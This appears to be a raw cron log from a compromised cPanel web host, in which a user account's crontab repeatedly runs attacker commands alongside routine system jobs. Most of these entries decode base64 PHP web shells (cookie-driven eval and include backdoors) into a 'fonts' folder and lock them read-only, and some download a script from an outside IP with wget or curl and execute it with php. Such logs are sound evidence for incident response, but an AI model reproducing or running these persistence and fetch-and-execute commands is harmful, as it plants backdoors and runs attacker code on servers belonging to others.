Sep 13 00:51:01 ip-184-168-122-23 CROND[19712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:51:01 ip-184-168-122-23 CROND[19713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:52:01 ip-184-168-122-23 CROND[19800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:52:01 ip-184-168-122-23 CROND[19802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:52:01 ip-184-168-122-23 CROND[19804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:52:01 ip-184-168-122-23 CROND[19803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:52:01 ip-184-168-122-23 CROND[19805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:53:01 ip-184-168-122-23 CROND[19887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:53:01 ip-184-168-122-23 CROND[19885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:53:01 ip-184-168-122-23 CROND[19888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:53:01 ip-184-168-122-23 CROND[19886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:54:01 ip-184-168-122-23 CROND[19981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:54:01 ip-184-168-122-23 CROND[19985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:54:01 ip-184-168-122-23 CROND[19984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:54:01 ip-184-168-122-23 CROND[19986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:54:01 ip-184-168-122-23 CROND[19983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:55:01 ip-184-168-122-23 CROND[20155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:55:01 ip-184-168-122-23 CROND[20157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:55:01 ip-184-168-122-23 CROND[20159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:55:01 ip-184-168-122-23 CROND[20160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:55:01 ip-184-168-122-23 CROND[20161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:55:01 ip-184-168-122-23 CROND[20158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:56:01 ip-184-168-122-23 CROND[20267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:56:01 ip-184-168-122-23 CROND[20270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:56:01 ip-184-168-122-23 CROND[20269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:56:01 ip-184-168-122-23 CROND[20272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:56:01 ip-184-168-122-23 CROND[20271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:57:01 ip-184-168-122-23 CROND[20378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:57:01 ip-184-168-122-23 CROND[20380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:57:01 ip-184-168-122-23 CROND[20381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:57:01 ip-184-168-122-23 CROND[20382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:58:01 ip-184-168-122-23 CROND[20476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:58:01 ip-184-168-122-23 CROND[20477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:58:01 ip-184-168-122-23 CROND[20480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:58:01 ip-184-168-122-23 CROND[20478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:58:01 ip-184-168-122-23 CROND[20481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:59:01 ip-184-168-122-23 CROND[20614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:59:01 ip-184-168-122-23 CROND[20618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:59:01 ip-184-168-122-23 CROND[20616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:59:01 ip-184-168-122-23 CROND[20617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:00:01 ip-184-168-122-23 CROND[20811]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:00:01 ip-184-168-122-23 CROND[20812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:00:01 ip-184-168-122-23 CROND[20815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:00:01 ip-184-168-122-23 CROND[20819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:00:01 ip-184-168-122-23 CROND[20818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:00:01 ip-184-168-122-23 CROND[20821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:00:01 ip-184-168-122-23 CROND[20823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:00:01 ip-184-168-122-23 CROND[20824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:01:01 ip-184-168-122-23 CROND[20928]: (root) CMD (run-parts /etc/cron.hourly)
Sep 13 01:01:01 ip-184-168-122-23 CROND[20929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:01:01 ip-184-168-122-23 CROND[20932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:01:01 ip-184-168-122-23 CROND[20935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:01:01 ip-184-168-122-23 CROND[20931]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 01:01:01 ip-184-168-122-23 CROND[20934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20928]: starting 0anacron
Sep 13 01:01:01 ip-184-168-122-23 anacron[20950]: Anacron started on 2026-09-13
Sep 13 01:01:01 ip-184-168-122-23 anacron[20950]: Normal exit (0 jobs run)
Sep 13 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20952]: finished 0anacron
Sep 13 01:02:01 ip-184-168-122-23 CROND[21037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:02:01 ip-184-168-122-23 CROND[21039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:02:01 ip-184-168-122-23 CROND[21040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:02:01 ip-184-168-122-23 CROND[21043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:02:01 ip-184-168-122-23 CROND[21045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:03:01 ip-184-168-122-23 CROND[21130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:03:01 ip-184-168-122-23 CROND[21133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:03:01 ip-184-168-122-23 CROND[21134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
